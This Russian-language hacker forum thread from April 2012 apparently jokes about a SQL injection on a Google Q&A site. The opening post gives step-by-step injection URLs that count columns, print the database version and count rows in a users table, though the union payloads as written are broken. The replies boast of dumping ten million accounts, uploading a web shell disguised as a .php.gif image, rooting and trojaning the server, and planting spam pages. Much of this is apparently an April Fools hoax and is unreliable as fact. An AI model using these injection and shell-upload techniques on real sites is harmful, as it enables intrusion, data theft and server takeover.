Новости из Блогов SQL-injection на Google.com

Discussion in 'Мировые новости. Обсуждения.' started by Ereee, 1 Apr 2012.

Thread Status:
Not open for further replies.
  1. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    566
    Likes Received:
    373
    Reputations:
    267
    SQL-injection на Google.com

    Привет всем) Я хочу спалить еще одну скулью, теперь в Google.com ;)
    Бродил по гуглу, вдруг кавычку захотелось вставить :D
    Code:
    http://ejabat.google.com/ejabat/thread?tid=177f9d92fa1ace6b'
    Получаем:
    Code:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
    Конечно, начал подбирать кол-во полей:
    Code:
    http://ejabat.google.com/ejabat/thread?tid=177f9d92fa1ace6b+order+by+134--+f
    
    Code:
    http://ejabat.google.com/ejabat/thread?tid=-1+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134--+g
    Спасибо HackBar-у за это :cool:
    Вывожу версию:
    Code:
    http://ejabat.google.com/ejabat/thread?tid=-1+1,2,3,4,5,6,7,8,9,10,[COLOR=DarkOrange]version()[/COLOR],12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134--+g
    Это ничего, дальше еще интересней =)
    Вывел имена таблиц через information_schema.
    В итоге интересной оказалась таблица:
    ejabat_visit_users
    Не долго думая сделал:
    Code:
    http://ejabat.google.com/ejabat/thread?tid=-1+1,2,3,4,5,6,7,8,9,10,[COLOR=DarkOrange]count(*)[/COLOR],12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134+from+ejabat_visit_users+limit+0,1--+g
    
    Резалт 61413264.
    61 ляма юзеров :eek:
    Там еще оказались важные column-ы username,password. Только хотел вывести 1-го юзеря... скулью прикрыли. Я был жестоко огорчен!
    Видимо гугл хорошо работает =)
    СпасибО! Читайте мой блог

    Оригинал http://dbitems.ru/blog/?x=entry:entry120401-054849
     
    #1 Ereee, 1 Apr 2012
    Last edited by a moderator: 1 Apr 2012
  2. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    и тебя с 1 апреля ;)
     
  3. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    197
    Likes Received:
    183
    Reputations:
    17
    с 1 апреля
     
  4. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    63
    Reputations:
    34
    Жалко что скоро прикрыли, а так может и залиться смог, а там смотри и рут как на mysql'e. Статья хорошая, однозначно +. Теперь будет повод еще скули искать.
     
  5. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    ненавижу первое апреля. То ли прикол, то ли нет... Скрины не делал?
     
    _________________________
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    566
    Likes Received:
    373
    Reputations:
    267
    Думаешь в голову в такой момент придут мысли о скринах?) Мне не пришло(
     
  7. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Нашел эту скулю еще неделю назад. До фикса успел слить 10кк юзеров.
     
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    566
    Likes Received:
    373
    Reputations:
    267
    Я ж говорю прикрыли, не актуально(((

    M_script,
    точно 10 лям слил? В личку учетку админа скинь..
     
  9. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    651
    Likes Received:
    160
    Reputations:
    81
    Зелёный плюсик ;)

    Посоны, куда болталка делась, как же я без неё :D
    Точнее, писать то в ней можно, но на главной её нету)

    UPD: а, 1 апреля же.
     
    #9 Osstudio, 1 Apr 2012
    Last edited: 1 Apr 2012
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    admin:password
    никак не могу админку найти
     
  11. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,404
    Likes Received:
    308
    Reputations:
    453
    Админка: google.com/admin_here/
     
  12. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    опа!! сенкс!!!
    в админке только через загрузку картинок получилось залиться.. php фильтр не пропустил, а вот .php.gif нормально залилось! благо на серваке php.gif обрабатывается как .php ! =)) замаскировал, протачился, прописал хтацесс должным образом))
    делюсь шеллом)))

    http://goo[anti]gle[google].com/img/icons/wso.gif
     
  13. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    Блин, уже удалили. Оперативно работают =( Перезалей плиз, рутнуть хочу.
     
  14. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    не могу, админку перенесли куда-то.. :confused:

    PS полночь, кто бы мне мог в дверь звонить?! :eek: хм...
     
  15. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    Блин, ну как же так. Опять заново искать админку...
    PS отпишись, ты живой?
    PPS у меня у одного ощущение что болталка переехала сюда?
     
  16. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    все работает... че пугаешь меня? ты адрес шелла указывал с квадратными скобочками чтоли? :eek: из урла удали [anti] , [google] и все будет норм))))
     
  17. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    Да, он живой, не переживайте за него! А Вы далеко от него живете?
     
  18. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    594
    Reputations:
    567
    А блин! А я то думал что у гугла домен странный то какой то :D

    Готово!
    [​IMG]

    PS Кого продвинуть в ТОП1 ?))
     
  19. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    189
    Likes Received:
    430
    Reputations:
    567
    вери найс бро)) я протроянил серв, шелл потер) не палимся ;)
    чекни личку, я тебе трой отправил в PM, можешь в роа выложить, чтоб инфа никуда не утекла :D
     
    #19 [Dark Green], 2 Apr 2012
    Last edited: 2 Apr 2012
  20. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,105
    Likes Received:
    305
    Reputations:
    86
    Бл@ вы мой шелл удалили видимо.
    Восстановите шелл, будте людьми.
    Ну или хоть дор мой по виагре с морды не сносите, пожалуйста.
     
    _________________________
Loading...
Thread Status:
Not open for further replies.